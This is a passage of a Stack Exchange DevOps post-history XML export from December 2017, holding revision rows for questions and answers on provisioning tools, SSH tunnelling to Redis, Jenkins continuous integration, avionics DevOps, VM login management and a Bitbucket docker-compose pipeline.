and&#xD;&#xA;&gt; z/VM® instances do not support this action. &#xD;&#xA;&gt; &#xD;&#xA;&gt; - If the instance is deleted&#xD;&#xA;&gt; by using IBM® Cloud Manager with OpenStack, the associated backups are&#xD;&#xA;&gt; also deleted.&#xD;&#xA;&#xD;&#xA;https://www.ibm.com/support/knowledgecenter/en/SST55W_4.1.0/liacb/liacbsaverestorevsvmw.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8730" PostHistoryTypeId="34" PostId="1943" RevisionGUID="e75783b5-e3a0-4f8f-aaa3-ef00c8fa0f28" CreationDate="2017-12-05T16:14:23.550" UserId="210" Comment="10" />
  <row Id="8731" PostHistoryTypeId="2" PostId="2799" RevisionGUID="40ef3406-0ef6-4d52-8bdd-ad6ef92cca29" CreationDate="2017-12-05T16:57:46.153" UserId="4175" Text="I can see some options:&#xD;&#xA;&#xD;&#xA;- Use Vagrant to create your VMs; it separates the process of creating the VM (including the base OS) and the actual provisioning. It also has some options to run certain provisioning steps at certain circumstances only.&#xD;&#xA;- Use Ansible, Puppet or something like that to switch to a provisioning mode where you do not do the same stuff everytime, but only what is needed. This means that you can start the job, and at the first failed part, stop. Fix that part, then continue.&#xD;&#xA;- Use Docker. This is slightly different than the Vagrant/Ansible approach in that it creates containers (which you don't actually need, as far as I can tell). It has the benefit, beyond the Ansible approach, that it gives you a very fine grained step-by-step development process. I.e., if one step fails, you still have all the images leading up to that, so during development, with a bit of discipline, you become very, very fast indeed.&#xD;&#xA;&#xD;&#xA;All of these tools do much more than what you need, but all of them give you a way to do your job incrementally. Vagrant, Ansible and Docker are pretty easy to learn, as far as I'm concerned (as long as you are in Dev/Test mode, the &quot;interesting&quot; parts start when you go to production). Ansible is very minimalistic and needs nothing except a ssh connection. Vagrant and Docker might not be feasible in your infrastructure, you will quickly see." ContentLicense="CC BY-SA 3.0" />
  <row Id="8732" PostHistoryTypeId="2" PostId="2800" RevisionGUID="ffbacef1-46b4-455f-ad19-e76dde9c0558" CreationDate="2017-12-05T17:17:15.067" UserId="5587" Text="Set up the tunnel from YOUR_PC, port 1234, to REDIS_SERVER:REDIS_PORT, via SSH_SERVER&#xD;&#xA;&#xD;&#xA;    ssh SSH_SERVER -L 1234:REDIS_SERVER:REDIS_PORT&#xD;&#xA;&#xD;&#xA;On another terminal, on YOUR_PC, run the redis client (based on https://stackoverflow.com/a/40678950):&#xD;&#xA;&#xD;&#xA;    redis-cli -h localhost -p 1234" ContentLicense="CC BY-SA 3.0" />
  <row Id="8733" PostHistoryTypeId="2" PostId="2801" RevisionGUID="ae10d663-61c9-48ac-aa32-3f78214b7083" CreationDate="2017-12-05T17:33:36.927" UserId="5588" Text="Is the answer as simple as setting up a dual-booted machine? Linux partitions for development tasks and as the VM host, Windows partitions for normal computing use.&#xD;&#xA;&#xD;&#xA; - Laptop&#xD;&#xA;   - Windows partition&#xD;&#xA;   - Linux Partition&#xD;&#xA;      - Vagrant VM&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8734" PostHistoryTypeId="2" PostId="2802" RevisionGUID="f3b9800a-4924-4058-8bca-20def590e908" CreationDate="2017-12-05T17:52:03.457" UserId="707" Text="If you compare the &quot;mainstream&quot; DevOps if there is such, is a DevOps practice in a spacecraft related context much different, or not? If this is too broad, take avionics software context as example.&#xD;&#xA;&#xD;&#xA;&gt; Avionic systems include communications, navigation, the display and&#xD;&#xA;&gt; management of multiple systems, and the hundreds of systems that are&#xD;&#xA;&gt; fitted to aircraft to perform individual functions ([Wikipedia][1]). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Avionics" ContentLicense="CC BY-SA 3.0" />
  <row Id="8735" PostHistoryTypeId="1" PostId="2802" RevisionGUID="f3b9800a-4924-4058-8bca-20def590e908" CreationDate="2017-12-05T17:52:03.457" UserId="707" Text="DevOps in space related context?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8736" PostHistoryTypeId="3" PostId="2802" RevisionGUID="f3b9800a-4924-4058-8bca-20def590e908" CreationDate="2017-12-05T17:52:03.457" UserId="707" Text="&lt;culture&gt;&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8738" PostHistoryTypeId="2" PostId="2803" RevisionGUID="d57bbc3c-9724-4039-8bab-3771ba88fbc0" CreationDate="2017-12-05T19:27:49.300" UserId="2845" Text="The key difference between DevOps in the context of Avionics and, aircraft/spacecraft merely has to do with deployment velocity due to FAA certifications, Aircraft re-grooms and the way in which the Airline industry releases their changes.&#xD;&#xA;&#xD;&#xA;But ultimately, [DevOps is not exclusive to High Velocity delivery methods (like Agile)](https://devops.stackexchange.com/a/84/2845). And [can be done in the context of Waterfall methods](https://devops.stackexchange.com/questions/122/how-to-transition-from-a-complex-branching-reality-to-a-single-branch-model) or other similar methods.&#xD;&#xA;&#xD;&#xA;In some ways, the airline industry is often factory oriented, which aligns well with [Kim, Behr, and Spaford's depiction and conceptualization of DevOps.](https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business/dp/0988262592)&#xD;&#xA;&#xD;&#xA;[Development on LRUs](https://en.wikipedia.org/wiki/Line-replaceable_unit) and racks can easily be done using an Agile methodology using a DevOps mentality. These many small changes can be stored up and released periodically to undergo final rack testing and certifications (such as [AS9100](https://en.wikipedia.org/wiki/AS9100)). Airlines could be doing much more to leverage automation for software deployment to fleets and have yet to capitalize on these developments.&#xD;&#xA;&#xD;&#xA;At the Avionics company I worked for for several years, we were seeing several successes and challenges with implementing DevOps. I simply can't emphasize enough however that challenges were internal and political, not technical or methodological challenges. These are also *not* systematic issues resulting from industry regulations, policies and standards. Avionics companies who are able to innovate and provide better value, higher reliability and cheaper costs will easily be able to out-innovate their competitors and gain traction and market share. The Avionics industry is ripe for this kind of shakeup and DevOps is well suited to be a cause of changes." ContentLicense="CC BY-SA 3.0" />
  <row Id="8739" PostHistoryTypeId="2" PostId="2804" RevisionGUID="b21d9fad-5ac4-4e34-b56d-d18c9ec49527" CreationDate="2017-12-05T20:16:12.043" UserId="228" Text="We have redis connected through stunnel. That way you don't have to always establish the ssh connection, which can be a problem. Here is an article on how to setup redis through stunnel, which I won't copy into this answer. Feel free to edit. &#xD;&#xA;&#xD;&#xA;http://bencane.com/2014/02/18/sending-redis-traffic-through-an-ssl-tunnel-with-stunnel/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8740" PostHistoryTypeId="5" PostId="2800" RevisionGUID="a08314f6-6b13-4e82-8115-2d0e83bdc6d0" CreationDate="2017-12-05T20:53:30.437" UserId="5587" Comment="added machine descriptions" Text="Assuming the following:&#xD;&#xA;&#xD;&#xA;* YOUR_PC, has Redis client, SSH client, SSH access to SSH_SERVER&#xD;&#xA;* SSH_SERVER, has SSH server, redis access to REDIS_SERVER&#xD;&#xA;* REDIS_SERVER, has Redis server&#xD;&#xA;&#xD;&#xA;Set up the tunnel from YOUR_PC, port 1234, to REDIS_SERVER:REDIS_PORT, via SSH_SERVER&#xD;&#xA;&#xD;&#xA;    ssh SSH_SERVER -L 1234:REDIS_SERVER:REDIS_PORT&#xD;&#xA;&#xD;&#xA;On another terminal, on YOUR_PC, run the redis client (based on https://stackoverflow.com/a/40678950):&#xD;&#xA;&#xD;&#xA;    redis-cli -h localhost -p 1234" ContentLicense="CC BY-SA 3.0" />
  <row Id="8743" PostHistoryTypeId="2" PostId="2805" RevisionGUID="882d2c80-eee5-4198-87a8-f2e792528294" CreationDate="2017-12-06T06:33:55.680" UserId="5605" Text="&#xD;&#xA;&#xD;&#xA;I've the basic idea about the Continuous Integration using Jenkins like- basic project setup, setting up source code management bit-bucket and build the project. I have done this so far and following the same approach, whenever any commit done in bit-bucket, Jenkins trigger the build and i get the build status But in my organization there is no expertise who clearly tell us about how CI tool actually used in real time. So we are not aware of the scope and expansions of the Automation project in terms of CI tool.&#xD;&#xA;&#xD;&#xA;Can some one guide us about this and guide us to manage the release using Jenkins ? also somewhere the terms Jenkins pipeline confused me what it is and why it used for?&#xD;&#xA;&#xD;&#xA;I'm working on Agile, So after completion on each sprint we have to commit out code in master branch only. We are planning to create new branch for each sprint. The vague in my is, we can create the new branch, sprint wise and also create the Jenkins job as per branch, So after committing the new branch Jenkins will trigger the build for that branch. It is the right approach ?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8744" PostHistoryTypeId="1" PostId="2805" RevisionGUID="882d2c80-eee5-4198-87a8-f2e792528294" CreationDate="2017-12-06T06:33:55.680" UserId="5605" Text="How to perform continuous Integration using Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8745" PostHistoryTypeId="3" PostId="2805" RevisionGUID="882d2c80-eee5-4198-87a8-f2e792528294" CreationDate="2017-12-06T06:33:55.680" UserId="5605" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8746" PostHistoryTypeId="2" PostId="2806" RevisionGUID="5f6236ca-6590-4506-93b6-8d9b9ac47060" CreationDate="2017-12-06T07:40:29.593" UserId="4175" Text="Continuous *integration* means roughly what you said. Whenever something is committed, it is automatically built and tested, with a red/green light showing up at the end.&#xD;&#xA;&#xD;&#xA;Continuous *deployment* takes this a step further and whenever a green light turns up, automatically deploys that.&#xD;&#xA;&#xD;&#xA;Note that &quot;tested&quot; above can mean several steps: smoke tests (does it crash and burn right away), automated unit/feature/integration tests, and then, if you are not superbly confident, also maybe some final manual tests. Also, obviously, for CD, your test setup needs to be sufficiently conclusive so you can deploy with good confidence. You can also do the fully automatic deploy to internal testing/staging areas first, and then only do a production deploy at a later date.&#xD;&#xA;&#xD;&#xA;To your questions:&#xD;&#xA;&#xD;&#xA;&gt; But in my organization there is no expertise who clearly tell us about how CI tool actually used in real time.&#xD;&#xA;&#xD;&#xA;You need to figure that out for yourself as it depends very much on the persons, processes and software you are building/deploying. At first, just build the tools, work with them, and see what happens. If everything works splendidly, continue along the path you laid out yourself; if you hit problems, solve them as they come up.&#xD;&#xA;&#xD;&#xA;&gt; So we are not aware of the scope and expansions of the Automation project in terms of CI tool.&#xD;&#xA;&#xD;&#xA;The more automation, the merrier. Automation not only means shaving off a few minutes here and there (but this factor also pays of *hugely* surprisingly fast), but also that everything that is automated, is codified in some script or tool; which means you are much less dependent on individual persons (who may become ill, overloaded, or leave the company) and scale much better if your team grows.&#xD;&#xA;&#xD;&#xA;&gt; manage the release using Jenkins ?&#xD;&#xA;&#xD;&#xA;I view Jenkins one step &quot;lower&quot; than managing releases. In &quot;pure&quot; CI/CD, the final stage, there would be no releases anymore as every commit would directly and in real-time end up on production anyways. At the other end of the spectrum, you have something like 3 releases per year, each one of them late 2 months ;). Every project will be somewhere along that spectrum, as dictated by circumstances (not the least of which are your stakeholders and the available money - running a very fast CI/CD is not free).&#xD;&#xA;&#xD;&#xA;&gt; the terms Jenkins pipeline confused me what it is and why it used for?&#xD;&#xA;&#xD;&#xA;&quot;Pipeline&quot; is just a fancy word for saying that you commit - build - test - deploy. It's just figuratively speaking. The image is that you drop your commit into the pipe at the one end, and on the other end you get a running production server.&#xD;&#xA;&#xD;&#xA;&gt; So after committing the new branch Jenkins will trigger the build for that branch. It is the right approach ?&#xD;&#xA;&#xD;&#xA;Sure, it's worthwhile to have every commit on every branch tested, by the default.&#xD;&#xA;&#xD;&#xA;(By the way, if you are completely new to all of this, including &quot;agile&quot; and branching, then maybe it would be good for you to pick up an existing branching strategy, for example Gitflow, so you don't complicate things too much by (re-)inventing too much stuff at the same time.)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8747" PostHistoryTypeId="5" PostId="2806" RevisionGUID="c25dd453-3350-4b17-8090-5518c2f41384" CreationDate="2017-12-06T07:45:25.610" UserId="4175" Comment="added 155 characters in body" Text="Continuous *integration* means roughly what you said. Whenever something is committed, it is automatically built and tested, with a red/green light showing up at the end.&#xD;&#xA;&#xD;&#xA;Continuous *deployment* takes this a step further and whenever a green light turns up, automatically deploys that.&#xD;&#xA;&#xD;&#xA;Note that &quot;tested&quot; above can mean several steps: smoke tests (does it crash and burn right away), automated unit/feature/integration tests, and then, if you are not superbly confident, also maybe some final manual tests. Also, obviously, for CD, your test setup needs to be sufficiently conclusive so you can deploy with good confidence. You can also do the fully automatic deploy to internal testing/staging areas first, and then only do a production deploy at a later date.&#xD;&#xA;&#xD;&#xA;To your questions:&#xD;&#xA;&#xD;&#xA;&gt; But in my organization there is no expertise who clearly tell us about how CI tool actually used in real time.&#xD;&#xA;&#xD;&#xA;You need to figure that out for yourself as it depends very much on the persons, processes and software you are building/deploying. At first, just build the tools, work with them, and see what happens. If everything works splendidly, continue along the path you laid out yourself; if you hit problems, solve them as they come up.&#xD;&#xA;&#xD;&#xA;&gt; So we are not aware of the scope and expansions of the Automation project in terms of CI tool.&#xD;&#xA;&#xD;&#xA;The more automation, the merrier. Automation not only means shaving off a few minutes here and there (but this factor also pays of *hugely* surprisingly fast), but also that everything that is automated, is codified in some script or tool; which means you are much less dependent on individual persons (who may become ill, overloaded, or leave the company) and scale much better if your team grows.&#xD;&#xA;&#xD;&#xA;&gt; manage the release using Jenkins ?&#xD;&#xA;&#xD;&#xA;I view Jenkins one step &quot;lower&quot; than managing releases. In &quot;pure&quot; CI/CD, the final stage, there would be no releases anymore as every commit would directly and in real-time end up on production anyways. At the other end of the spectrum, you have something like 3 releases per year, each one of them late 2 months ;). Every project will be somewhere along that spectrum, as dictated by circumstances (not the least of which are your stakeholders and the available money - running a very fast CI/CD is not free).&#xD;&#xA;&#xD;&#xA;&gt; the terms Jenkins pipeline confused me what it is and why it used for?&#xD;&#xA;&#xD;&#xA;&quot;Pipeline&quot; is just a fancy word for saying that you commit - build - test - deploy. It's just figuratively speaking. The image is that you drop your commit into the pipe at the one end, and on the other end you get a running production server.&#xD;&#xA;&#xD;&#xA;&gt; So after committing the new branch Jenkins will trigger the build for that branch. It is the right approach ?&#xD;&#xA;&#xD;&#xA;Sure, it's worthwhile to have every commit on every branch tested, by the default, if you have the resources for that. It lets you know exactly which build broke everything. Coupled with very small commits, this is a quite powerful tool.&#xD;&#xA;&#xD;&#xA;(By the way, if you are completely new to all of this, including &quot;agile&quot; and branching, then maybe it would be good for you to pick up an existing branching strategy, for example Gitflow, so you don't complicate things too much by (re-)inventing too much stuff at the same time.)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8748" PostHistoryTypeId="2" PostId="2807" RevisionGUID="74f491ad-305b-4e1e-b7f9-50d27337cb6a" CreationDate="2017-12-06T07:59:00.533" UserId="10" Text="I want to manage the members of our team who are able to log into our cloud-hosted VMs, both Linux and Windows.  We currently use GSuite and Github, to manage access to our code and documentation etc. I would really prefer to not have to also manage a separate Active Directory Domain within our VNets or deal with revoking ssh keys or updating multiple usernames/passwords on every single VM we deploy.&#xD;&#xA;&#xD;&#xA;Are there ways to use either GSuite or Github to control login access to our VMs?&#xD;&#xA;&#xD;&#xA;If there isn't, what are the best practices to deal with 20+ developers who are all empowered with DevOps responsibilities?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8749" PostHistoryTypeId="1" PostId="2807" RevisionGUID="74f491ad-305b-4e1e-b7f9-50d27337cb6a" CreationDate="2017-12-06T07:59:00.533" UserId="10" Text="Using GSuite or Github to Manage who can log into Linux or Windows VMs on Azure" ContentLicense="CC BY-SA 3.0" />
  <row Id="8750" PostHistoryTypeId="3" PostId="2807" RevisionGUID="74f491ad-305b-4e1e-b7f9-50d27337cb6a" CreationDate="2017-12-06T07:59:00.533" UserId="10" Text="&lt;key-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8752" PostHistoryTypeId="5" PostId="2769" RevisionGUID="18657147-a61a-4667-857b-e18c46f258ab" CreationDate="2017-12-06T10:12:26.340" UserId="210" Comment="added 74 characters in body" Text="If a question is related to Amazon CloudFront then this tag could be used." ContentLicense="CC BY-SA 3.0" />
  <row Id="8753" PostHistoryTypeId="24" PostId="2769" RevisionGUID="18657147-a61a-4667-857b-e18c46f258ab" CreationDate="2017-12-06T10:12:26.340" Comment="Proposed by 210 approved by 47, 13 edit id of 551" ContentLicense="CC BY-SA 3.0" />
  <row Id="8754" PostHistoryTypeId="5" PostId="2782" RevisionGUID="7521f57f-738f-44fd-ac10-6ede5ac09071" CreationDate="2017-12-06T10:12:29.960" UserId="47" Comment="added 50 characters in body" Text="For questions about Test-driven Development (TDD)." ContentLicense="CC BY-SA 3.0" />
  <row Id="8755" PostHistoryTypeId="24" PostId="2782" RevisionGUID="7521f57f-738f-44fd-ac10-6ede5ac09071" CreationDate="2017-12-06T10:12:29.960" Comment="Proposed by 47 approved by 40, 13 edit id of 553" ContentLicense="CC BY-SA 3.0" />
  <row Id="8759" PostHistoryTypeId="2" PostId="2808" RevisionGUID="d0fe6af2-659c-47b2-b715-f710c57e8e69" CreationDate="2017-12-06T11:38:02.713" UserId="5610" Text="I think it's a feasible idea. You can set up as a service provider to companies that need services of DevOps but don't want to employ a staff for such services either because they can't afford to keep the person on a salary or because they're not into a business that permanently needs someone on hand. Such companies can engage your services or even put you on some form of retainers." ContentLicense="CC BY-SA 3.0" />
  <row Id="8760" PostHistoryTypeId="5" PostId="2806" RevisionGUID="477a11e6-69da-4338-935a-1c46712e678d" CreationDate="2017-12-06T12:23:45.940" UserId="4175" Comment="added 5 characters in body" Text="Continuous *integration* means roughly what you said. Whenever something is committed, it is automatically built and tested, with a red/green light showing up at the end.&#xD;&#xA;&#xD;&#xA;Continuous *deployment* takes this a step further and whenever a green light turns up, automatically deploys that.&#xD;&#xA;&#xD;&#xA;Note that &quot;tested&quot; above can mean several steps: smoke tests (does it crash and burn right away), automated unit/feature/integration tests, and then, if you are not superbly confident, also maybe some final manual tests. Also, obviously, for CD, your test setup needs to be sufficiently conclusive so you can deploy with good confidence. You can also do the fully automatic deploy to internal testing/staging areas first, and then only do a production deploy at a later date.&#xD;&#xA;&#xD;&#xA;To your questions:&#xD;&#xA;&#xD;&#xA;&gt; But in my organization there is no expertise who clearly tell us about how CI tool actually used in real time.&#xD;&#xA;&#xD;&#xA;You need to figure that out for yourself as it depends very much on the persons, processes and software you are building/deploying. At first, just build the tools, work with them, and see what happens. If everything works splendidly, continue along the path you laid out yourself; if you hit problems, solve them as they come up.&#xD;&#xA;&#xD;&#xA;&gt; So we are not aware of the scope and expansions of the Automation project in terms of CI tool.&#xD;&#xA;&#xD;&#xA;The more automation, the merrier. Automation not only means shaving off a few minutes here and there (but this factor also pays of *hugely* surprisingly fast), but also that everything that is automated, is codified in some script or tool; which means you are much less dependent on individual persons (who may become ill, overloaded, or leave the company) and scale much better if your team grows.&#xD;&#xA;&#xD;&#xA;&gt; manage the release using Jenkins ?&#xD;&#xA;&#xD;&#xA;I view Jenkins one step &quot;lower&quot; than managing releases. In &quot;pure&quot; CI/CD, the final stage, there would be no releases anymore as every commit would directly and in real-time end up on production anyways. At the other end of the spectrum, you have something like 3 releases per year, each one of them late by 2 months ;). Every project will be somewhere along that spectrum, as dictated by circumstances (not the least of which are your stakeholders and the available money - running a very fast CI/CD is not free).&#xD;&#xA;&#xD;&#xA;&gt; the terms Jenkins pipeline confused me what it is and why it used for?&#xD;&#xA;&#xD;&#xA;&quot;Pipeline&quot; is just a fancy word for saying that you commit - build - test - deploy. It's just figuratively speaking. The imagery is that you drop your commit into the pipe at the one end, and on the other end you get a running production server.&#xD;&#xA;&#xD;&#xA;&gt; So after committing the new branch Jenkins will trigger the build for that branch. It is the right approach ?&#xD;&#xA;&#xD;&#xA;Sure, it's worthwhile to have every commit on every branch tested, by the default, if you have the resources for that. It lets you know exactly which build broke everything. Coupled with very small commits, this is a quite powerful tool.&#xD;&#xA;&#xD;&#xA;Another useful trigger is to not build every commit, but have Jenkins look at the repository every 15 minutes or so, and build if there is one more more new commits. This may be more realistic when your test suites take longer to run, and if you do not have unlimited amounts of test environments that you can spin up and down regularly.&#xD;&#xA;&#xD;&#xA;(By the way, if you are completely new to all of this, including &quot;agile&quot; and branching, then maybe it would be good for you to pick up an existing branching strategy, for example Gitflow, so you don't complicate things too much by (re-)inventing too much stuff at the same time.)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8765" PostHistoryTypeId="2" PostId="2810" RevisionGUID="09bc052e-773f-48f2-9d1f-f98f24bb171a" CreationDate="2017-12-06T15:46:26.953" UserId="47" Text="&gt; We are planning to create new branch for each sprint.&#xD;&#xA;&#xD;&#xA;It should be noted that this doesn't mean Continuous Integration, but rather just waterfall masquerading as CI, also known as [CI Theatre][1]. &#xD;&#xA;&#xD;&#xA;Every branch you mention is nothing but a silo and merging it into the master branch can invalidate both the results obtained in the silo as well as those obtained so far in the master branch.&#xD;&#xA;&#xD;&#xA;From the agile prospective you'd be constantly creating technical debt - the need to merge the silo branches into master, re-validating the merged result, identifying and fixing any problems that would appear after such merges. Never a known, quantifiable effort since you can't know right away which of the branch commit(s) is/are responsible.&#xD;&#xA;&#xD;&#xA;The right approach would be to not pull such branches, instead every commit should be done on the master branch. You'd only have one Jenkins setup - on this master branch, executing verifications after every commit. No branch merges necessary, every commit is potentially ready for delivery/deployment once the CI execution is successfully completed.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.gocd.org/2017/05/16/its-not-CI-its-CI-theatre.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="8766" PostHistoryTypeId="2" PostId="2811" RevisionGUID="713c917b-c680-42fe-afe9-375a843de6b3" CreationDate="2017-12-06T20:33:51.323" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8767" PostHistoryTypeId="1" PostId="2811" RevisionGUID="713c917b-c680-42fe-afe9-375a843de6b3" CreationDate="2017-12-06T20:33:51.323" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8768" PostHistoryTypeId="2" PostId="2812" RevisionGUID="de4673e4-8fde-4463-8257-065f81648d0b" CreationDate="2017-12-06T20:33:51.323" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8769" PostHistoryTypeId="1" PostId="2812" RevisionGUID="de4673e4-8fde-4463-8257-065f81648d0b" CreationDate="2017-12-06T20:33:51.323" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8771" PostHistoryTypeId="2" PostId="2813" RevisionGUID="cac85a55-5021-4dd9-a776-499225250296" CreationDate="2017-12-07T04:18:31.603" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8772" PostHistoryTypeId="1" PostId="2813" RevisionGUID="cac85a55-5021-4dd9-a776-499225250296" CreationDate="2017-12-07T04:18:31.603" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8773" PostHistoryTypeId="2" PostId="2814" RevisionGUID="be3619fc-3f76-4314-b56b-d92b55f5ba3f" CreationDate="2017-12-07T04:18:31.603" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8774" PostHistoryTypeId="1" PostId="2814" RevisionGUID="be3619fc-3f76-4314-b56b-d92b55f5ba3f" CreationDate="2017-12-07T04:18:31.603" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8775" PostHistoryTypeId="5" PostId="2813" RevisionGUID="a9f0e32e-508e-4872-9720-681ee58c6af3" CreationDate="2017-12-07T06:24:38.470" UserId="60" Comment="added 321 characters in body" Text="[The Domain Name System (DNS)][1] is a hierarchical naming system built on a distributed database. It translates domain names meaningful to humans into the IP addresses associated with the networking device. For example: `www.stackoverflow.com =&gt; 64.34.119.12`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Domain_Name_System" ContentLicense="CC BY-SA 3.0" />
  <row Id="8776" PostHistoryTypeId="24" PostId="2813" RevisionGUID="a9f0e32e-508e-4872-9720-681ee58c6af3" CreationDate="2017-12-07T06:24:38.470" Comment="Proposed by 60 approved by 47, 40 edit id of 556" ContentLicense="CC BY-SA 3.0" />
  <row Id="8777" PostHistoryTypeId="5" PostId="2814" RevisionGUID="3957e80d-eba9-45e7-ac95-49466cbfec71" CreationDate="2017-12-07T06:24:47.047" UserId="60" Comment="added 181 characters in body" Text="The Domain Name System (DNS) is a hierarchical naming system built on a distributed database for computers, services, or any resource connected to the Internet or a private network." ContentLicense="CC BY-SA 3.0" />
  <row Id="8778" PostHistoryTypeId="24" PostId="2814" RevisionGUID="3957e80d-eba9-45e7-ac95-49466cbfec71" CreationDate="2017-12-07T06:24:47.047" Comment="Proposed by 60 approved by 47, 40 edit id of 557" ContentLicense="CC BY-SA 3.0" />
  <row Id="8782" PostHistoryTypeId="5" PostId="2812" RevisionGUID="6bbd7263-67a4-4ece-8960-5927f5eb5011" CreationDate="2017-12-07T09:56:12.590" UserId="40" Comment="added 69 characters in body" Text="If a question is related to methodology, then this tag could be used." ContentLicense="CC BY-SA 3.0" />
  <row Id="8783" PostHistoryTypeId="24" PostId="2812" RevisionGUID="6bbd7263-67a4-4ece-8960-5927f5eb5011" CreationDate="2017-12-07T09:56:12.590" Comment="Proposed by 40 approved by 47, 13 edit id of 555" ContentLicense="CC BY-SA 3.0" />
  <row Id="8784" PostHistoryTypeId="2" PostId="2816" RevisionGUID="76577b35-9ec8-434d-ad9c-d5ab7ef3835b" CreationDate="2017-12-07T10:35:29.063" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8785" PostHistoryTypeId="1" PostId="2816" RevisionGUID="76577b35-9ec8-434d-ad9c-d5ab7ef3835b" CreationDate="2017-12-07T10:35:29.063" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8786" PostHistoryTypeId="2" PostId="2817" RevisionGUID="7a308e8b-42eb-4a3b-9b3b-80c0f6da2bd7" CreationDate="2017-12-07T10:35:29.063" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8787" PostHistoryTypeId="1" PostId="2817" RevisionGUID="7a308e8b-42eb-4a3b-9b3b-80c0f6da2bd7" CreationDate="2017-12-07T10:35:29.063" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8788" PostHistoryTypeId="5" PostId="1573" RevisionGUID="72e29cf7-d78e-4026-bdb6-c96dc6f7dcee" CreationDate="2017-12-07T10:41:07.267" UserId="40" Comment="Integrate comments from OPer and fix typos" Text="IMHO if your successful build doesn't push to an artifact repository, there's a problem in your pipeline.&#xD;&#xA;&#xD;&#xA;Jenkins or Bamboo do _not_ aim at keeping built artifacts forever and they don't give you any versioning delivery, as such that's a point of failure in your delivery system. &#xD;&#xA;&#xD;&#xA;I'd advise to review your method to use an artifact repository and that will solve this XY problem of keeping a successful build inside the build system used as an artefact source.&#xD;&#xA;&#xD;&#xA;**Note**: I can't speak for Bamboo's team, but adding this capacity involves raising the code complexity for a 'side usage'. As such it can makes sense Bamboo's team avoid it to avoid adding code complexity for a feature not in their overall goal. I don't think they avoid it to enforce a best practice, but more to avoid raising unnecessary (from the product point of view) complexity to their code base." ContentLicense="CC BY-SA 3.0" />
  <row Id="8789" PostHistoryTypeId="2" PostId="2818" RevisionGUID="4cf0ed5d-b164-4620-9275-832617eec5bd" CreationDate="2017-12-07T12:35:37.057" UserId="5619" Text="I managed to use docker-compose to push images to a remote host by using the following image.&#xD;&#xA;&#xD;&#xA;[tmaier/docker-compose:latest][1]&#xD;&#xA;&#xD;&#xA;This is the basic [docker image][2] with docker-compose installed.&#xD;&#xA;&#xD;&#xA;My `bitbucket-pipelines.yml` looks like this:&#xD;&#xA;&#xD;&#xA;    - step:&#xD;&#xA;        image: tmaier/docker-compose:latest&#xD;&#xA;        script:&#xD;&#xA;            - (umask  077 ; echo $DOCKER_PRIVATE_KEY | base64 -d &gt; ./keys/key.pem)&#xD;&#xA;            - export DOCKER_CERT_PATH=./keys/&#xD;&#xA;            - export DOCKER_TLS_VERIFY=&quot;1&quot;&#xD;&#xA;            - export DOCKER_HOST=tcp://&lt;DOCKER_HOST_IP&gt;:2376&#xD;&#xA;            - docker login --username $DOCKER_HUB_USERNAME --password $DOCKER_HUB_PASSWORD&#xD;&#xA;            - docker-compose up -d &lt;service&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have checked-in in my repo the `ca.pem` and `cert.pem` needed by docker-compose in the `keys` directory. The private key is saved base64encoded, as a secure variable in Bitbucket pipelines environment variables, so I just decode it and paste it to `keys/key.pem` in the pipeline as the first step.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Keep in mind that i used `docker login` after setting the enviroment variables for the remote host.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/tmaier/docker-compose/ &quot;tmaier/docker-compose&quot;&#xD;&#xA;  [2]: https://hub.docker.com/r/_/docker/ &quot;docker image&quot;" ContentLicense="CC BY-SA 3.0" />
